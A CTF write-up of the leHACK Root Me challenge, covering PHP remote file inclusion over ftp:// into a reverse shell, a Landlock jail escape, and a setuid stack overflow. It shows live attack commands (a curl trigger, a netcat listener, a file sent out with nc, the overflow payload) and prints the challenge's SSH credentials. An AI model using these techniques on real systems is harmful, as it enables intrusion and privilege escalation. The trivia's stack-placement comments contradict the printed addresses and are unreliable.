Overview
leHACK is a large security conference hold every year in Paris, France. Sadly, I could not attend this year but I took a look at the challenge proposed by the Root Me team during the conference.
The challenge was available at https://challenge-lehack.root-me.org/ and consists of three successive steps:
- Step 1: LFI/RFI to RCE in a PHP web application.
- Step 2: Escape from a Landlock Rust jail.
- Step 3: Stack-based buffer overflow exploitation.
Thanks to Worty, exti0p and Ruulian for building the challenge.
Step 1 - PHP web application
The first step is a “File Viewer” PHP web application with a Local File Inclusion feature. Entering a filename field like /etc/passwd
in the input includes the file content in the page.
We also have access to the PHP source code of the page. This is the important code snippet:
if (isset($_GET["source"])) {
$source = $_GET["source"];
if (file_exists($source)) {
include($source);
} else {
echo "<p class='error'>File not found.</p>";
}
}
First we focus on the LFI. But the website does not contain any upload form, therefore we can’t simply put a PHP shell on the machine and include it. We can find some information about the system by leaking files and try some old LFI to RCE techniques but nothing seems to work at first glance.
The other idea is to try to exploit a Remote File Inclusion vulnerability. If the PHP server is configured with allow_url_include = On
, we could include a PHP file fetched from the Internet instead. In this challenge, we will find that this feature is indeed enabled.
Now the file_exists
check before the include
call is the annoying bit, because it does not work with all PHP wrappers. In particular, the http(s)://
wrappers are not compatible with this function. Fortunately, the PHP documentation brings some hope:
Tip - As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.
After some more reading, we find that the ftp://
wrapper is compatible with file_exists
and thus we can use it to include a remote file. All that’s left is to expose a FTP server to the Internet, containing a webshell / reverse shell and include it. For this, I used pyftplib and the old-school pentestmonkey PHP reverse shell.
- https://www.php.net/manual/en/wrappers.ftp.php
- https://github.com/giampaolo/pyftpdlib
- https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
# Start FTP server on port 9000/9001
$ python3 -m pyftpdlib -p 9000 -r 9001-9001
[I 2024-07-10 01:03:52] concurrency model: async
[I 2024-07-10 01:03:52] masquerade (NAT) address: None
[I 2024-07-10 01:03:52] passive ports: 9001->9001
[I 2024-07-10 01:03:52] >>> starting FTP server on 0.0.0.0:9000, pid=14663 <<<
[I 2024-07-10 01:03:57] 62.210.136.74:45876-[] FTP session opened (connect)
[I 2024-07-10 01:03:57] 62.210.136.74:45876-[anonymous] USER 'anonymous' logged in.
[I 2024-07-10 01:03:57] 62.210.136.74:45876-[anonymous] CWD /path/to/ftp/shell.php 550 'Not a directory.'
[I 2024-07-10 01:03:57] 62.210.136.74:45876-[anonymous] FTP session closed (disconnect).
[I 2024-07-10 01:03:57] 62.210.136.74:45878-[] FTP session opened (connect)
[I 2024-07-10 01:03:57] 62.210.136.74:45878-[anonymous] USER 'anonymous' logged in.
[I 2024-07-10 01:03:57] 62.210.136.74:45878-[anonymous] RETR /path/to/ftp/shell.php completed=1 bytes=2586 seconds=0.0
[I 2024-07-10 01:03:57] 62.210.136.74:45878-[anonymous] FTP session closed (disconnect).
# Trigger FTP Remote File Inclusion...
$ curl 'https://challenge-lehack.root-me.org/index.php?source=ftp://[FTP_IP]:9000/shell.php'
# ...while listening on another port
$ nc -lvnp 9002
Connection from 62.210.136.74:41042
Linux cd4568dbece0 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64 GNU/Linux
23:03:57 up 5 days, 8:44, 0 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cd /var/www/html
$ cat e3db752569b9c8e111c091c8ef730d30ab1bd399c44ae74febe6059867778b7f.txt
Wow, you managed to execute commands. Well done, you passed the 1st step!
Hoping that you already have a shell, you can access a better place but jailed using: nc jail 4444
Step 2 - Rust Landlock jail
From the webserver hosting the PHP application, we can now connect to a jail on port 4444. We are very restricted as we can’t even list the root folder. The sandboxer
file used to make the jail is given. We can exfiltrate the file using netcat.
$ nc jail 4444
[+] Received connection
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash: /home/sandboxer/.bashrc: Permission denied
sandboxer@504ad46aec11:/tmp$ ls -l
ls -l
total 3908
-rw-r--r-- 1 root root 105 Jul 4 10:26 note.txt
-rwxr-xr-x 1 root sandboxer 3994680 Jul 7 21:21 sandboxer
sandboxer@504ad46aec11:/tmp$ cat note.txt
You're here, already?
Time for the 2nd step!
This jail has hidden secrets, catch them all, if you can...
sandboxer@504ad46aec11:/tmp$ ls /
ls: cannot open directory '/': Permission denied
sandboxer@504ad46aec11:/tmp$ ps aux
bash: ps: command not found
sandboxer@504ad46aec11:/tmp$ cat sandboxer | nc [IP] [PORT]
The sandboxer file is a Rust compiled binary. We don’t really have to reverse it in-depth because executing it already gives a lot of information. Still, some quick statical analysis shows that it uses the Landlock Linux security feature to restrict rights such as file system access and network requests.
$ file sandboxer
sandboxer: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[xxHash]=c734507562bd7a20, with debug_info, not stripped
$ ./sandboxer
usage: LL_FS_RO="..." LL_FS_RW="..." ./sandboxer_backup <cmd> [args]...
Launch a command in a restricted environment.
Environment variables containing paths and ports, each separated by a colon:
* LL_FS_RO: list of paths allowed to be used in a read-only way.
* LL_FS_RW: list of paths allowed to be used in a read-write way.
Environment variables containing ports are optional and could be skipped.
* LL_TCP_BIND: list of ports allowed to bind (server).
* LL_TCP_CONNECT: list of ports allowed to connect (client).
example:
LL_FS_RO="/bin:/lib:/usr:/proc:/etc:/dev/urandom" LL_FS_RW="/dev/null:/dev/full:/dev/zero:/dev/pts:/tmp" LL_TCP_BIND="9418" LL_TCP_CONNECT="80:443" ./sandboxer_backup bash -i
Error: Missing command
The jail parameters seem to be given as environment variables. Fortunately, our shell inherited some of the jail variables which we can list with env
. Otherwise, we might have found them by reading into the /proc
filesystem that exposes other processes environment variables, or try to bruteforce the LL_TCP_BIND
port range.
sandboxer@504ad46aec11:/tmp$ env
LL_TCP_CONNECT=80:443
LL_TCP_BIND=1789
[...]
We are allowed to connect to port 1789, where we find the jail secret that was hidden.
$ nc localhost 1789
nc localhost 1789
Hey, impressive. You found my jail's secret!
2nd step looks like it was cake walk for you...
You can use the following credentials to login to the next level:
ssh://pwnme:ca1qdqRd2SRijtKj19wm@challenge-lehack.root-me.org:54322
Good luck!
Step 3 - Buffer overflow exploitation
In the previous step, we gained SSH credentials to connect to a server with the pwnme
user.
The /challenge/logger
executable file is owned by pwned
and has the setuid bit set, which means it is executed with the pwned
user permissions. If we can exploit this program successfully, we will gain the permissions to read /challenge/flag.txt
, which is readable by the group pwned
.
$ id
uid=1001(pwned) gid=1000(pwnme) groups=1000(pwnme)
$ ls -l /challenge
total 40
-rw-r--r-- 1 root root 145 Jul 5 06:17 Makefile
-r--r----- 1 root pwned 68 Jul 4 20:50 flag.txt
-r-sr-x--- 1 pwned pwnme 16600 Jul 8 01:03 logger
-r--r----- 1 root pwned 1210 Jul 8 01:02 logger.c
-r--r----- 1 root pwnme 24 Jul 4 20:50 note.txt
$ cat Makefile
CC=gcc
FLAGS=-lcrypto -fno-stack-protector
TARGET=logger
$(TARGET).o: $(TARGET).c
$(CC) $(TARGET).c -o $(TARGET) $(FLAGS)
clean:
rm $(TARGET)
$ /challenge/logger
usage: /challenge/logger <string>
The executable is a regular x86-64 ELF binary file. Here is the source code (note that the source code is not available before finishing the challenge).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <openssl/sha.h>
void hello(){
setreuid(1001, 1001);
execl("/bin/sh", "/bin/sh", "-p", NULL);
}
char random_byte(){
return (char)(90 + (rand() % 17));
}
int authent(char *str){
char h[32];
char *good_hash = "\x35\xed\xca\x5a\xd3\xe1\x42\xfb\x01\x1d\xef\x74\xe2\x0c\xf9\x3c\x65\x0f\x3c\xc6\xf3\x12\x7b\xec\xc0\x6d\x19\x10\x66\x8c\xff\x6b";
SHA256(str, strlen(str), h);
return !memcmp(good_hash, h, 32);
}
int main(int argc, char **argv){
char log_message[0x40];
long is_auth = 0;
if(argc != 2){
sprintf(log_message, "usage: %s <string>", argv[0]);
}
else{
if(authent(argv[1])){
srand(time(NULL));
snprintf(log_message, 0x100, "[LOG] : \x1b[%dm%s\x1b[0m", random_byte(), argv[1]);
is_auth = 1;
}
else{
snprintf(log_message, 0x100, "'%s' is a wrong password", argv[1]);
}
}
printf("%s\n", log_message);
if(is_auth == 0xdeadcafecafebabe){
hello();
}
return 0;
}
All the authent
part with the SHA256 verification and random byte is a red herring. The vulnerability is located in the second else
block. The function snprintf
is used to format a message up to 0x100 bytes long in the log_message
buffer, which can only hold 0x40 bytes.
Thus, by providing a too long password, we are able to override the is_auth
variable on the stack and pop a shell as pwned
user.
$ ./logger $(/usr/bin/echo -n -e 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xbe\xba\xfe\xca\xfe\xca\xad\xde')
'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX�����ʭ�' is a wrong password
$ id
uid=1001(pwned) gid=1000(pwnme) groups=1000(pwnme)
$ cat flag.txt
cat: flag.txt: Permission denied
$ ls -l flag.txt
-r--r----- 1 root pwned 68 Jul 4 20:50 flag.txt
Oops, we have a shell as the pwned user but still with the pwnme group (because of the ownership configuration on the executable). And the flag file can only be read by the pwned group… Running /bin/bash
does not seem to change our permissions, which means we can’t read the flag :(
Or can we? One last trick can be used to refresh our group so that it matches the pwned user groups: simply execute the newgrp
command.
NAME
newgrp - log in to a new group
SYNOPSIS
newgrp [group]
DESCRIPTION
newgrp changes the group identification of its caller, analogously to login(1). The same person remains logged in, and the current directory is unchanged, but calculations of access permissions to files are performed with
respect to the new group ID.
If no group is specified, the GID is changed to the login GID.
This time we can read the flag and complete the challenge.
$ newgrp
$ id
uid=1001(pwned) gid=1001(pwned) groups=1001(pwned),1000(pwnme)
$ cat flag.txt
RM{eeee479ed93ad7f30e53bab0f0d8ee9345d82595893bc58f487852ada119472a}
Trivia - Compiler buffer overflow protection
Now we may ask, could the compiler have prevented successful exploitation of the step 3 vulnerability? Yes, it could have.
If you read the Makefile used to compile the logger
program, you may have noticed the -fno-stack-protector
compilation flag used. This flag is usually used in CTF to ask GCC to NOT add a stack canary check. This enables the possibilities of redirecting program execution / return oriented programming. But in this challenge, we didn’t need any of that.
But stack protection is more that just a canary. Here, -fno-stack-protector
was added to prevent GCC from reordering the local variables on the stack. Without this flag, GCC would have prevented exploitation of the vulnerability by putting the log_message
buffer at the end of the stack frame, making the overriding of is_auth
impossible with a stack buffer overflow.
// Compilation WITHOUT -fno-stack-protector
// is_auth is placed BEFORE log_message
// is_auth overriding possible using buffer overflow
pwndbg> p &is_auth
$2 = (long *) 0x7fffffffce08
pwndbg> p &log_message
$1 = (char (*)[64]) 0x7fffffffce10
// Compilation WITH -fno-stack-protector
// is_auth is placed AFTER log_message
// is_auth overriding impossible using buffer overflow
pwndbg> p &is_auth
$6 = (long *) 0x7fffffffce58
pwndbg> p &log_message
$5 = (char (*)[64]) 0x7fffffffce10